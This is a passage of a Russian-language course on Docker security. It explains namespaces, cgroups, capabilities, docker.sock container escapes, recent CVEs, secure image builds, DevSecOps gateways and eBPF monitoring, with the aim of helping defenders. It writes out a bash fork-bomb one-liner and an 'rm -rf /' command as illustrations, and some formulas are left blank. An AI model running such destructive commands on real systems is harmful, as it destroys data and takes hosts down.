Docker Security для специалистов ИБ: от архитектуры к защите

Углубленный теоретический курс по безопасности контейнеризации, связывающий механизмы ядра Linux с практическими аспектами защиты Docker. Вы сформируете ментальную модель угроз и освоите методологии аудита инфраструктуры на основе стандартов 2025 года.

1. Архитектура Docker vs Виртуализация: фундаментальные отличия и векторы атак

Архитектура Docker vs Виртуализация: фундаментальные отличия и векторы атак

В исходном коде ядра Linux не существует понятия «контейнер». В отличие от виртуальных машин, которые опираются на аппаратные инструкции процессора (Intel VT-x, AMD-V) и чётко выделенные структуры данных гипервизора, контейнер — это абстракция, иллюзия, созданная исключительно для пространства пользователя. Для ядра Linux контейнер с базой данных PostgreSQL или веб-сервером Nginx — это обычный процесс, такой же, как системный демон cron или сессия bash. Понимание этого архитектурного факта — отправная точка для выстраивания любой стратегии безопасности в контейнерных средах.

Специалисты по информационной безопасности часто переносят ментальную модель защиты виртуальных машин на Docker-инфраструктуру. Эта когнитивная ошибка приводит к тому, что контейнеры пытаются защищать периметровыми межсетевыми экранами и классическими антивирусными агентами, игнорируя их истинную природу. Чтобы эффективно защищать Docker, необходимо деконструировать его архитектуру и понять, чем граница безопасности контейнера отличается от границы безопасности виртуальной машины.

Деконструкция иллюзии: как работает контейнер

Когда мы запускаем виртуальную машину (ВМ), гипервизор эмулирует для неё полноценное аппаратное обеспечение: виртуальный процессор, оперативную память, жесткий диск и сетевой адаптер. Поверх этого виртуального железа устанавливается полноценная гостевая операционная система со своим собственным ядром.

Контейнеризация работает на совершенно ином уровне — на уровне операционной системы. Docker Engine не эмулирует оборудование. Он использует функции существующего ядра хостовой ОС (Linux) для создания изолированных сред выполнения.

Эта изоляция строится на двух фундаментальных механизмах ядра (которые будут детально разобраны в следующих главах):

  • Namespaces (Пространства имён) — ограничивают то, что процесс видит. Благодаря им процесс внутри контейнера считает, что у него свой сетевой интерфейс, своя файловая система и что он является процессом с идентификатором PID 1.
  • Control Groups (cgroups) — ограничивают то, что процесс может использовать. Они не позволяют контейнеру забрать 100% процессорного времени или оперативной памяти хоста.
  • Если на хост-системе выполнить команду ps aux, можно увидеть все процессы всех запущенных контейнеров. Ядро видит их насквозь. Процесс Nginx, который внутри контейнера имеет PID 1, на хостовой машине будет иметь, например, PID 34512.

    !Сравнение архитектуры виртуальной машины и контейнера Docker

    Архитектурная разница формирует совершенно разные поверхности атаки. В случае виртуальной машины злоумышленник, получивший права root внутри гостевой ОС, всё ещё заперт внутри этой ОС. Чтобы скомпрометировать физический сервер (хост), ему необходимо совершить побег из виртуальной машины (VM Escape), найдя уязвимость в самом гипервизоре (например, в эмуляторе флоппи-дисковода или сетевого адаптера). Гипервизоры имеют очень узкий интерфейс взаимодействия с гостевой ОС (гипервызовы), что делает такие уязвимости редкими и сложными в эксплуатации.

    В случае с Docker злоумышленник, получивший права root внутри контейнера, уже находится на хостовой операционной системе. От полного контроля над сервером его отделяет не аппаратный барьер гипервизора, а лишь логические ограничения ядра Linux (Namespaces, cgroups, Capabilities, Seccomp).

    Проблема общего ядра (The Shared Kernel Dilemma)

    Самое критичное отличие контейнеров от ВМ с точки зрения безопасности — это разделение одного ядра операционной системы между хостом и всеми запущенными на нём контейнерами.

    Современные процессоры используют кольца защиты (Protection Rings) для разграничения привилегий. Ядро операционной системы работает в самом привилегированном кольце (Kernel Space). Пользовательские приложения, включая все процессы внутри Docker-контейнеров, работают в непривилегированном кольце (User Space).

    Каждый раз, когда процессу в контейнере нужно прочитать файл, отправить сетевой пакет или выделить память, он должен обратиться к ядру через механизм системных вызовов (syscalls). Ядро Linux предоставляет более 300 различных системных вызовов. Это означает, что интерфейс между потенциально скомпрометированным контейнером и критическим ядром хоста состоит из более чем 300 сложных функций, написанных на языке C.

    !Симуляция паники ядра: ВМ против Контейнера

    Общее ядро порождает два критических риска:

  • Отказ в обслуживании (Denial of Service). Если процесс внутри контейнера сможет вызвать критическую ошибку в ядре (Kernel Panic), «упадёт» не только этот контейнер. Ядро остановит работу всей хост-машины, что приведет к мгновенному отключению всех остальных контейнеров на этом узле. В случае с виртуальной машиной паника гостевого ядра приведет к перезагрузке только одной конкретной ВМ, никак не повлияв на соседей.
  • Повышение привилегий (Privilege Escalation). Любая уязвимость в ядре Linux, позволяющая локальное повышение привилегий (LPE - Local Privilege Escalation), автоматически становится уязвимостью побега из контейнера (Container Escape).
  • Исторический пример — уязвимость Dirty COW (CVE-2016-5195), связанная с состоянием гонки в подсистеме памяти ядра Linux. Эксплойт для этой уязвимости, запущенный внутри непривилегированного Docker-контейнера, позволял модифицировать файлы на хостовой системе, доступные только для чтения, что приводило к получению прав root на самом хосте. Контейнерная изоляция не могла этому помешать, так как уязвимость находилась в самом ядре Ring_0, которое обрабатывало запросы от контейнера.

    Архитектура Docker и новые векторы атак

    Помимо рисков, связанных с ядром Linux, сама архитектура Docker вводит новые компоненты, которые становятся целями для атакующих. Классическая установка Docker состоит из клиентской утилиты (Docker CLI) и фонового процесса (Docker Daemon или dockerd).

    Docker Daemon — это сердце системы. Он управляет жизненным циклом контейнеров, образами, сетями и томами. Ключевая проблема безопасности заключается в том, что по умолчанию Docker Daemon работает с правами пользователя root.

    Взаимодействие между клиентом и демоном происходит через UNIX-сокет, обычно расположенный по пути /var/run/docker.sock. Этот сокет — эквивалент root-доступа к серверу. Любой процесс, имеющий права на запись в этот сокет, может отправить демону команду на создание нового контейнера с максимальными привилегиями, примонтировать корневую файловую систему хоста и полностью захватить сервер.

    Исходя из архитектуры, ландшафт угроз для Docker-инфраструктуры можно разделить на четыре макро-вектора.

    Вектор 1: Атаки на изоляцию ядра (Kernel Exploits)

    Как обсуждалось выше, вектор направлен на эксплуатацию уязвимостей в системных вызовах Linux. Атакующий ищет способы обойти ограничения Namespaces или использует LPE-эксплойты. Защита от этого вектора требует строгой фильтрации системных вызовов (профили Seccomp) и регулярного обновления ядра хост-системы. В высоконадежных средах этот риск минимизируют с помощью sandboxed-контейнеров (например, gVisor или Kata Containers), которые добавляют дополнительный слой изоляции между приложением и ядром хоста, перехватывая и фильтруя системные вызовы.

    Вектор 2: Эксплуатация архитектуры и API (Daemon & Socket)

    Вектор направлен на сам Docker Engine. Самая частая ошибка конфигурации — проброс сокета /var/run/docker.sock внутрь контейнера. Разработчики часто делают это для CI/CD систем (например, Jenkins или GitLab Runner), чтобы контейнер мог сам собирать другие контейнеры (паттерн Docker-in-Docker или Docker-out-of-Docker). Если злоумышленник компрометирует такой CI/CD контейнер (например, через RCE в веб-интерфейсе Jenkins), он получает доступ к сокету. Отправив HTTP-запрос в сокет, он может создать контейнер с флагом --privileged и примонтированным корнем /, совершив тривиальный побег на хост. Также к этому вектору относится незащищенный TCP-порт Docker API (обычно 2375), выставленный в интернет без TLS-аутентификации.

    Вектор 3: Небезопасные конфигурации Runtime (Misconfigurations)

    По умолчанию Docker предоставляет разумный баланс между удобством и безопасностью, но разработчики часто ослабляют изоляцию для решения локальных проблем. Использование флага --privileged отключает практически все механизмы защиты: контейнер получает доступ ко всем устройствам хоста (/dev), обходит ограничения cgroups и получает полный набор привилегий (Linux Capabilities). Запуск приложения от имени пользователя root внутри контейнера (что происходит по умолчанию, если не указана директива USER в Dockerfile) также значительно упрощает эксплуатацию любых найденных уязвимостей.

    Вектор 4: Атаки на цепочку поставок (Supply Chain)

    В отличие от ВМ, где ОС устанавливается из доверенного ISO-образа, контейнеры собираются из слоистых образов, скачиваемых из публичных реестров (Docker Hub). Вектор включает в себя:
  • Использование базовых образов с известными уязвимостями (CVE) в системных библиотеках.
  • Тайпосквоттинг (Typosquatting) — публикация вредоносных образов с названиями, похожими на популярные (например, ubunto вместо ubuntu).
  • Внедрение бэкдоров, майнеров или вредоносного кода на этапе сборки образа.
  • Хранение секретов (API-ключей, паролей к БД) в открытом виде прямо в слоях образа, которые легко извлекаются с помощью команды docker history или утилит вроде dive.
  • Сдвиг парадигмы безопасности

    Понимание архитектурных отличий требует от специалиста ИБ изменения подхода к защите.

    Во-первых, граница безопасности смещается. В мире виртуализации границей был гипервизор и сетевой периметр. В мире контейнеров границей является ядро Linux и его механизмы разграничения доступа. Защита должна фокусироваться на принципе наименьших привилегий (Principle of Least Privilege) на уровне процессов: дроппинг ненужных Capabilities, запрет на получение новых привилегий (no-new-privileges), использование профилей AppArmor/SELinux и ограничение доступных системных вызовов.

    Во-вторых, контейнеры эфемерны. Они могут создаваться и уничтожаться сотни раз в день. Классические методы реагирования на инциденты (сохранение дампа памяти, изоляция хоста в карантинной сети) работают плохо. Если контейнер скомпрометирован, злоумышленник может просто остановить его, уничтожив все следы в оперативной памяти и временной файловой системе. Это требует внедрения концепции неизменяемой инфраструктуры (Immutable Infrastructure), где контейнеры работают в режиме Read-Only корневой файловой системы, а все логи немедленно отправляются в централизованное хранилище (SIEM).

    В-третьих, безопасность должна смещаться влево (Shift Left). Поскольку контейнер содержит в себе все зависимости приложения, уязвимости в библиотеках становятся частью образа. Сканирование на уязвимости должно происходить не на работающем сервере, а в пайплайне CI/CD до того, как образ попадет в реестр.

    Архитектура Docker обеспечивает превосходную плотность развертывания и скорость работы именно за счет отказа от тяжеловесной аппаратной изоляции. Платой за эту эффективность становится расширенная поверхность атаки на уровне ядра и демона. Успешная защита такой инфраструктуры невозможна без глубокого понимания того, как именно ядро Linux создает иллюзию изолированного пространства, и какие системные механизмы удерживают процесс внутри этой иллюзии.

    10. Стратегия защиты: аудит инфраструктуры и внедрение Security Gateways в DevSecOps

    Контейнеризация радикально изменила ландшафт доставки приложений, но одновременно стерла традиционные границы периметра безопасности. Если в классической инфраструктуре компрометация виртуальной машины (ВМ) ограничивается гостевой операционной системой благодаря аппаратному гипервизору, то контейнеры делят общее ядро Linux с хостом. Это означает, что успешная эксплуатация уязвимости ядра внутри контейнера автоматически приводит к компрометации всего физического сервера и соседних тенантов. Для специалиста по информационной безопасности (ИБ) защита Docker-инфраструктуры начинается не с настройки сканеров уязвимостей, а с глубокого понимания архитектуры изоляции на уровне ядра и выстраивания эшелонированной защиты на всех этапах жизненного цикла.

    Архитектура изоляции: почему контейнер — это не виртуальная машина

    Фундаментальная разница между ВМ и контейнером заключается в поверхности атаки. Виртуальная машина взаимодействует с гипервизором через строго ограниченный набор виртуализированных аппаратных инструкций. Контейнер же взаимодействует напрямую с ядром хоста через системные вызовы (syscalls). В современном ядре Linux насчитывается более 300 системных вызовов, и каждый из них — потенциальный вектор атаки.

    > Контейнеры — это не настоящие границы безопасности. Это просто обычные процессы Linux, к которым применены определенные механизмы изоляции и квотирования. > > Лиз Райс, Container Security: Fundamental Technology Concepts That Protect Cloud Native Applications (O'Reilly)

    Иллюзия независимой операционной системы внутри контейнера создается с помощью трех фундаментальных механизмов ядра Linux.

    Namespaces (Пространства имен) Этот механизм отвечает за изоляцию ресурсов, определяя, что может видеть процесс.

  • PID Namespace: Изолирует дерево процессов. Приложение внутри контейнера (например, Nginx) получает PID 1, тогда как на уровне хоста этот же процесс может иметь PID 3452. Процесс в контейнере физически не способен увидеть или послать сигнал (например, SIGKILL) процессам соседних контейнеров.
  • Network Namespace: Предоставляет независимый сетевой стек — собственные сетевые интерфейсы (связанные через veth с мостом хоста), таблицы маршрутизации и правила iptables.
  • Mount Namespace: Изолирует точки монтирования файловой системы, являясь развитием концепции chroot. Процесс видит только свою корневую файловую систему.
  • User Namespace: Наиболее важный для ИБ, но часто игнорируемый механизм. Он позволяет проецировать идентификаторы пользователей между хостом и контейнером. Если User Namespace настроен корректно, процесс, запущенный от имени root (UID 0) внутри контейнера, на уровне ядра хоста маппится в непривилегированного пользователя (например, UID 100000). В случае прорыва изоляции (Container Escape) злоумышленник окажется на хосте с правами пользователя 100000, не имея возможности модифицировать системные файлы.
  • Control Groups (cgroups) Если Namespaces ограничивают видимость, то cgroups ограничивают потребление ресурсов (CPU, RAM, I/O), определяя, сколько ресурсов может использовать процесс. Без жестких лимитов в cgroups уязвимость в приложении (утечка памяти или намеренная эксплуатация) приведет к исчерпанию оперативной памяти хоста (OOM) и отказу в обслуживании (DoS) всех остальных сервисов кластера. Отдельно выделяется Device cgroup, который запрещает контейнеру напрямую обращаться к физическим блочным устройствам хоста (например, /dev/sda), предотвращая прямое чтение данных с диска в обход файловой системы.

    Linux Capabilities Исторически в Linux существовало бинарное разделение прав: либо процесс является суперпользователем (root), либо обычным пользователем. Механизм Capabilities разбивает монолитные привилегии root на более чем 40 гранулярных флагов.

    Например, приложению для открытия привилегированного порта (ниже 1024) не нужен полный доступ к системе — достаточно флага CAP_NET_BIND_SERVICE. Для утилиты ping требуется CAP_NET_RAW. Docker по умолчанию отбрасывает большинство привилегий, оставляя контейнеру лишь 14 базовых Capabilities, лишая его, например, критического флага CAP_SYS_ADMIN (эквивалента полного root-доступа).

    Самая разрушительная ошибка конфигурации — запуск контейнера с флагом --privileged. Этот параметр возвращает процессу все Capabilities, отключает фильтрацию системных вызовов (Seccomp) и снимает ограничения AppArmor/SELinux. Контейнер становится полноправным процессом хоста. Если злоумышленник попадает в привилегированный контейнер, он может смонтировать диск хоста и переписать /etc/shadow, что делает такой контейнер идеальным плацдармом для атак.

    Анатомия Docker: клиент, демон и векторы прорыва

    Архитектура Docker опирается на модель «клиент-сервер». Утилита командной строки (Docker CLI) взаимодействует с фоновым демоном (dockerd) через REST API. По умолчанию демон работает от пользователя root и слушает локальный UNIX-сокет /var/run/docker.sock.

    Распространенный антипаттерн в DevOps — проброс сокета демона внутрь контейнера (через -v /var/run/docker.sock:/var/run/docker.sock). Это часто делают для агентов CI/CD (например, Jenkins или GitLab Runner), чтобы они могли собирать другие образы (паттерн Docker-in-Docker). Однако любой процесс, имеющий доступ к этому сокету, может отправить демону команду на запуск нового контейнера с примонтированным корневым каталогом хоста:

    Это классический пример Container Escape (прорыва контейнера). Злоумышленник, получивший RCE (Remote Code Execution) внутри CI-агента, использует сокет, чтобы приказать демону хоста запустить новый контейнер, где вся файловая система физического сервера доступна для записи.

    Даже при строгом соблюдении политик конфигурации, уязвимости в самом Docker Engine могут привести к фатальным последствиям. Рассмотрим два критических примера прорыва изоляции из недавней практики:

  • CVE-2025-9074 (CVSS 9.3): Уязвимость повышения привилегий в Docker Desktop. Ошибка архитектуры привела к тому, что Docker Engine API оказался доступен для локальных контейнеров через внутреннюю подсеть (по умолчанию 192.168.65.7:2375). Атакующему внутри контейнера не требовался примонтированный docker.sock — достаточно было отправить HTTP-запрос на этот IP-адрес, чтобы отдать команду демону на запуск новых привилегированных контейнеров.
  • CVE-2026-34040 (CVSS 8.8): Уязвимость обхода авторизации в фреймворке Moby. В enterprise-средах доступ к Docker API часто защищается плагинами авторизации (AuthZ), такими как OPA или Prisma Cloud. Уязвимость заключалась в том, что при отправке специально сформированного HTTP-запроса с размером тела более 1 МБ, демон Docker молча отбрасывал тело перед отправкой в AuthZ-плагин на проверку, но затем сам обрабатывал его целиком. Это позволяло злоумышленнику пронести вредоносный payload мимо проверок безопасности и выполнить любую команду с правами демона.
  • Безопасная сборка образов: архитектура и принципы

    Для построения надежной архитектуры ИБ использует концепцию 4C (Cloud, Cluster, Container, Code). Защита контейнера бессмысленна, если скомпрометирован кластер оркестрации или облачный провайдер. В качестве эталонных метрик выступают стандарты NIST SP 800-190 (Application Container Security Guide) и CIS Docker Benchmarks.

    Однако безопасность рантайма начинается на этапе сборки (Dockerfile). Чтобы понять векторы атак на образы, необходимо разобраться в работе каскадных файловых систем (UnionFS / OverlayFS), которые использует Docker.

    Образ Docker состоит из неизменяемых слоев. Каждая инструкция RUN, COPY или ADD в Dockerfile создает новый слой, который накладывается поверх предыдущих. Если разработчик случайно добавил SSH-ключ в слое 1, а в слое 2 выполнил команду RUN rm -rf /root/.ssh/id_rsa, ключ исчезнет из видимости финального контейнера, но останется навсегда зашитым в слое 1. Злоумышленник, скачавший образ, может легко распаковать первый слой и извлечь секрет.

    Для решения этой проблемы и минимизации поверхности атаки применяются два архитектурных подхода.

    Многоэтапная сборка (Multi-stage build)

    Этот паттерн разделяет процесс создания образа на этапы компиляции и исполнения. Исходный код компилируется в «тяжелом» базовом образе (например, golang:1.21-bullseye), содержащем компиляторы, SDK, библиотеки и утилиты. Однако в финальный образ копируется только готовый бинарный файл.

    В результате финальный образ не содержит исходного кода, менеджеров пакетов и инструментов сборки, которые злоумышленник мог бы использовать для развития атаки.

    Distroless-образы

    Традиционно разработчики пытаются уменьшить размер образов, переходя с ubuntu на alpine. Однако Alpine Linux все еще содержит пакетный менеджер apk, командную оболочку /bin/sh и базовые утилиты (wget, curl).

    Подход Distroless (продвигаемый Google) идет дальше. Distroless-образы содержат только приложение и его прямые рантайм-зависимости (например, glibc или сертификаты SSL). В них полностью отсутствуют пакетные менеджеры и шеллы.

    Если приложение в Distroless-контейнере уязвимо к RCE (например, через десериализацию Java), атакующий сможет выполнить код в памяти процесса, но он не сможет открыть Reverse Shell (так как нет /bin/bash), не сможет скачать эксплойт из интернета (так как нет curl) и не сможет установить дополнительные пакеты. Поверхность атаки сужается до возможностей самого скомпрометированного процесса.

    Стратегия защиты: внедрение Security Gateways в DevSecOps

    В современной Cloud Native среде скорость доставки нивелирует любые ручные проверки. Единственный способ обеспечить безопасность инфраструктуры — превратить требования ИБ в исполняемый код и встроить их непосредственно в конвейер доставки.

    Стратегия строится на принципе эшелонированности. Уязвимость, пропущенная в Dockerfile, блокируется при сборке; если она прошла сборку — её останавливает реестр; если образ пытаются запустить — среда исполнения отклоняет манифест. Этот процесс реализуется через интеграцию Security Gateways (шлюзов безопасности).

    !Архитектура DevSecOps пайплайна с Security Gateways

    Технически пайплайн делится на четыре макро-этапа:

  • Pre-commit / IDE (Локальная среда). Проверка статического кода (IaC) конфигураций. Инструменты (Checkov, tfsec) анализируют Dockerfile до коммита. Отлавливаются базовые ошибки: директива USER root, теги latest вместо конкретных версий, хардкод секретов.
  • Continuous Integration (Сборка). Запускаются сканеры уязвимостей (Trivy, Grype). Они анализируют каждый слой образа, генерируют SBOM (Software Bill of Materials) и ищут известные CVE. Здесь же криптографически подписываются образы (инструмент Cosign).
  • Continuous Deployment (Доставка). Перед отправкой в production оценивается контекст: подписан ли образ, прикреплены ли документы VEX (Vulnerability Exploitability eXchange) и соответствует ли конфигурация CIS Benchmarks.
  • Runtime (Среда исполнения). Финальный рубеж. Оркестратор принимает решение о запуске на основе динамических политик, а агенты мониторинга отслеживают поведение процесса в ядре.
  • Механика шлюзов: Hard и Soft проверки

    Security Gateway — это автоматизированная точка принятия решений. Шлюзы делятся на:

  • Soft Gates (Мягкие шлюзы): Выявляют нарушения, логируют их, отправляют алерты (в Jira, Slack), но не прерывают пайплайн. Используются для аудита технического долга и при внедрении новых политик.
  • Hard Gates (Жесткие шлюзы): При обнаружении критического несоответствия немедленно завершают пайплайн с ошибкой (exit code ). Артефакт не публикуется.
  • Блокировка пайплайна по правилу «наличие любой уязвимости уровня High/Critical» приведет к параличу разработки: базовые образы Linux всегда содержат десятки CVE, ожидающих патчей. Логика жесткого шлюза должна опираться на Policy as Code (PaC).

    Используя язык Rego (движок Open Policy Agent), инженер ИБ может задать точное условие: пайплайн падает только если найдена уязвимость с CVSS , для которой существует эксплойт, доступен патч, и она не подавлена VEX-документом.

    Такой подход переносит фокус с количества уязвимостей на управление реальным риском.

    Admission Controllers: перехват управления на уровне API

    Администратор может попытаться запустить привилегированный контейнер напрямую, минуя CI/CD. Чтобы исключить запуск нелегитимных нагрузок, применяется механизм Admission Control (контроль допуска). В Kubernetes это Admission Webhooks (OPA Gatekeeper, Kyverno), в Docker — AuthZ-плагины.

    Суть механизма — перехват API-запроса до его сохранения в базу данных состояния.

    !Механизм работы Admission Controller

    Процесс делятся на две фазы:

  • Mutating (Мутация): Шлюз автоматически изменяет запрос. Если разработчик не указал профиль Seccomp, Mutating Webhook на лету добавляет securityOpt: ["seccomp=RuntimeDefault"].
  • Validating (Валидация): Финальная проверка (Hard Gate в рантайме). Если манифест требует монтирования /var/run/docker.sock или запрашивает CAP_SYS_ADMIN, контроллер возвращает HTTP 403 Forbidden, и контейнер не создается.
  • Admission Controllers также проверяют криптографические подписи. Контроллер извлекает подпись образа из реестра и проверяет её открытым ключом. Нет валидной подписи — запуск блокируется.

    Непрерывный аудит через eBPF

    Превентивные меры не защищают от уязвимостей нулевого дня (0-day) или конфигурационного дрейфа (Configuration Drift) — когда инженер вручную заходит на хост и меняет параметры запущенного контейнера, нарушая иммутабельность.

    Традиционный мониторинг на уровне пользователя (анализ логов) бессилен: злоумышленник с правами root внутри контейнера может исказить логи или скрыть процессы. Надежный аудит возможен только на уровне ядра Linux.

    Современным стандартом рантайм-аудита является технология eBPF (Extended Berkeley Packet Filter). Инструменты вроде Falco или Tetragon безопасно загружают eBPF-программы прямо в ядро, прикрепляя их к системным вызовам (tracepoints) или функциям ядра (kprobes).

    Преимущество eBPF — производительность и недосягаемость для процессов в пользовательском пространстве. Поиск правил в eBPF-картах происходит за время (константное время доступа независимо от количества запущенных контейнеров), что дает оверхед менее 1-2% нагрузки на CPU.

    Настройка строится на профилировании нормального поведения:

  • Контроль процессов: Контейнер Nginx должен запускать только процесс nginx. Если eBPF фиксирует вызов execve для /bin/bash внутри PID Namespace этого контейнера — это инцидент.
  • Контроль файловой системы: Отслеживание вызовов openat. Если процесс пытается записать данные в /etc внутри контейнера (которая должна быть read-only) — генерируется алерт.
  • Сетевой аудит: Фиксация исходящих соединений на нестандартные порты.
  • События от eBPF обогащаются метаданными оркестратора и отправляются в SIEM. При обнаружении аномалии запускается автоматическое реагирование: контейнер изолируется на сетевом уровне, его память дампится для форензики, а трафик перенаправляется на чистую реплику.

    Истинная безопасность Docker-инфраструктуры — это математически точное ограничение привилегий на уровне ядра (Namespaces, cgroups, Capabilities), дополненное архитектурой безопасной сборки (Distroless, Multi-stage) и автоматизированными шлюзами принятия решений. Связав воедино статический анализ конфигураций, криптографический контроль цепочки поставок и eBPF-мониторинг системных вызовов, специалист ИБ получает систему, способную архитектурно исключать возможность успешной реализации атак.

    2. Механизмы изоляции ядра: глубокое погружение в Namespaces и Control Groups

    Механизмы изоляции ядра: глубокое погружение в Namespaces и Control Groups

    Если внутри контейнера выполнить команду rm -rf / --no-preserve-root, система послушно уничтожит все файлы, до которых сможет дотянуться. Процесс уверен, что он обладает абсолютной властью в системе: команда id показывает нулевой UID (root), команда mount демонстрирует корень файловой системы, а ps выводит девственно чистый список процессов, где наш процесс гордо носит PID 1. Однако хостовая операционная система в этот момент продолжает работать без малейших сбоев. Вся эта абсолютная власть — лишь тщательно выстроенная ядром Linux иллюзия.

    Контейнеры не имеют собственных физических или виртуальных процессоров, оперативной памяти или жестких дисков. Вся безопасность контейнерной среды зиждется на манипуляциях с указателями внутри структуры task_struct — фундаментального элемента ядра Linux, описывающего каждый процесс. Понимание того, как именно ядро обманывает процессы, изолируя их видимость и ограничивая ресурсы, является критическим навыком для специалиста по информационной безопасности. Любая ошибка в конфигурации этих механизмов превращает иллюзию в реальность, позволяя атакующему вырваться на уровень хоста.

    Архитектура иллюзий: системный вызов clone и Namespaces

    Традиционно в Linux новые процессы создаются системным вызовом fork(), который порождает точную копию родительского процесса, разделяющую с ним контекст операционной системы. Контейнеризация использует другой, более мощный системный вызов — clone(). Он принимает набор флагов, начинающихся с префикса CLONE_NEW, которые указывают ядру, какие именно аспекты глобального контекста операционной системы не нужно копировать, а нужно создать заново для дочернего процесса.

    Этот механизм называется Namespaces (пространства имен). Он отвечает исключительно за изоляцию видимости. Пространства имен определяют, какие ресурсы операционной системы процесс может видеть и с какими может взаимодействовать.

    !Архитектура изоляции процесса через Namespaces

    В современном ядре Linux реализовано несколько типов пространств имен, каждый из которых перекрывает определенный вектор атак:

    Mount Namespace (CLONE_NEWNS) Исторически первое пространство имен (поэтому флаг не содержит слова MOUNT). Оно позволяет процессу иметь собственное дерево точек монтирования. В отличие от устаревшего механизма chroot, который просто менял видимый корень, Mount Namespace полностью изолирует события монтирования и размонтирования. Когда Docker запускает образ, он распаковывает его слои, объединяет их через OverlayFS и монтирует как корень (/) внутри нового Mount Namespace. Если атакующий попытается смонтировать вредоносный модуль ядра или получить доступ к /dev/sda хоста, он просто не найдет этих устройств в своем изолированном дереве.

    PID Namespace (CLONE_NEWPID) Изолирует дерево идентификаторов процессов. Ядро поддерживает две таблицы маппинга. В глобальной таблице хоста контейнеризованный процесс Nginx может иметь PID 34512. Но внутри PID Namespace этого контейнера ядро транслирует этот идентификатор в PID 1. Это не просто косметическое изменение. В Linux процесс не может отправить сигнал (например, SIGKILL) процессу, которого он не видит. Изоляция PID делает невозможным для вредоносного кода внутри контейнера завершить процессы хоста или других контейнеров. Кроме того, PID 1 наделяется особыми обязанностями: он должен обрабатывать осиротевшие процессы (zombies) и корректно реагировать на сигналы завершения от демона Docker.

    Network Namespace (CLONE_NEWNET) Предоставляет процессу полностью независимый сетевой стек: собственные сетевые интерфейсы, таблицы маршрутизации, правила iptables и сокеты. При создании контейнера Docker создает виртуальную пару интерфейсов (veth pair). Один конец этого виртуального патч-корда помещается в Network Namespace контейнера (и переименовывается в eth0), а второй остается в пространстве хоста и подключается к виртуальному коммутатору docker0. Без этой изоляции любой процесс мог бы прослушивать трафик хоста через tcpdump или занять критические порты.

    IPC и UTS Namespaces (CLONE_NEWIPC, CLONE_NEWUTS) IPC (Interprocess Communication) изолирует механизмы межпроцессного взаимодействия System V (разделяемая память, семафоры, очереди сообщений). Это предотвращает атаки, при которых процесс из одного контейнера мог бы прочитать данные из разделяемой памяти другого контейнера или хоста (например, перехватить ключи шифрования баз данных). UTS (UNIX Time-Sharing) позволяет контейнеру иметь собственные доменное имя и hostname, независимые от хоста.

    User Namespace: Святой Грааль изоляции

    Среди всех пространств имен особняком стоит User Namespace (CLONE_NEWUSER). Это самый сложный, самый мощный и, парадоксально, самый редко используемый по умолчанию механизм защиты в Docker.

    Проблема, которую решает User Namespace, заключается в природе привилегий ядра. Если процесс работает в контейнере от имени пользователя root (UID 0), то для ядра Linux это тот же самый root, что и на хосте. Да, он ограничен другими пространствами имен (не видит чужих файлов и процессов), но если атакующий найдет уязвимость в ядре (например, ошибку при обработке определенного системного вызова), он будет эксплуатировать её с правами суперпользователя.

    User Namespace вводит механизм математического сдвига идентификаторов. Ядро создает таблицу трансляции между UID внутри контейнера и UID на хосте. Формула трансляции выглядит так:

    !Механизм маппинга идентификаторов в User Namespace

    На практике администратор выделяет демону Docker диапазон непривилегированных идентификаторов на хосте (обычно начиная с 100000), прописывая их в файлах /etc/subuid и /etc/subgid. Когда Docker запускает контейнер с включенным User Namespace, процесс внутри считает, что он запущен от root (). Он может устанавливать пакеты с помощью apt, менять владельцев файлов внутри своего Mount Namespace. Но на уровне хоста ядро видит этот процесс как запущенный от пользователя с .

    Если такой процесс вырвется из контейнера, он окажется в системе с правами бесправного пользователя 100000, которого даже не существует в /etc/passwd хоста. Он не сможет прочитать /etc/shadow или загрузить модуль ядра.

    Почему же этот механизм не включен в Docker по умолчанию? Причина кроется в обратной совместимости и монтировании томов (volumes). Если вы примонтируете директорию хоста, которой владеет реальный пользователь (например, UID 1000), внутрь контейнера с User Namespace, процесс с внутренним UID 0 (реальным UID 100000) не сможет получить к ней доступ. Ядро отклонит запрос, так как UID 100000 не имеет прав на файлы UID 1000. Это создает значительное трение между командами DevOps и ИБ, требуя сложной архитектуры прав доступа.

    Control Groups (cgroups): защита от шумных соседей

    Если Namespaces ограничивают то, что процесс может видеть, то Control Groups (cgroups) ограничивают то, что процесс может использовать. Это механизм ядра, который распределяет, лимитирует и учитывает потребление системных ресурсов (CPU, память, дисковый ввод-вывод, количество процессов) для групп задач.

    С точки зрения информационной безопасности cgroups — это главный барьер против атак типа "Отказ в обслуживании" (Denial of Service, DoS) на инфраструктурном уровне. Без строгих лимитов один скомпрометированный или просто плохо написанный контейнер может исчерпать все ресурсы хоста, вызвав падение соседних сервисов.

    Взаимодействие с cgroups происходит через виртуальную файловую систему, обычно смонтированную в /sys/fs/cgroup. Демон Docker создает там директории для каждого контейнера и записывает значения лимитов в специальные файлы.

    Рассмотрим критически важные подсистемы cgroups в контексте векторов атак:

    Подсистема Memory и OOM Killer

    Утечки памяти (memory leaks) в приложениях или целенаправленные атаки с выделением больших объемов RAM могут привести к тому, что ядро хоста исчерпает свободную память. В критической ситуации ядро вызывает механизм Out-Of-Memory (OOM) Killer, который эвристически выбирает и убивает процессы для освобождения памяти. Без cgroups OOM Killer хоста может убить критически важный системный процесс (например, sshd или сам dockerd).

    При задании лимита (флаг -m в Docker) cgroup ограничивает доступную память для группы процессов. Если процессы внутри контейнера превышают этот лимит, OOM Killer срабатывает только внутри этой контрольной группы. Ядро убивает процесс-нарушитель внутри контейнера, в то время как хост и другие контейнеры продолжают штатную работу.

    Подсистема PIDs и защита от Fork-бомб

    Классическая атака на исчерпание ресурсов — fork-бомба. Это скрипт или программа, которая бесконечно и экспоненциально порождает свои копии (например, известная bash-конструкция :(){ :|:& };:).

    Даже если контейнер ограничен по CPU и памяти, fork-бомба атакует другой ресурс — таблицу процессов ядра. Ядро имеет жесткий лимит на максимальное количество одновременно существующих процессов (параметр kernel.pid_max). Если контейнер без ограничений запустит fork-бомбу, он заполнит глобальную таблицу процессов. В результате хост-система не сможет создать ни одного нового процесса: администратор не сможет подключиться по SSH, а планировщик задач перестанет работать. Система зависнет.

    Для предотвращения этого используется контрольная группа pids (флаг --pids-limit). Она жестко задает максимальное количество процессов, которые могут быть порождены внутри cgroup. При достижении лимита системный вызов clone() начнет возвращать ошибку EAGAIN, блокируя распространение fork-бомбы на уровне контейнера.

    !Реакция cgroups на исчерпание ресурсов

    Эволюция: cgroups v1 против cgroups v2

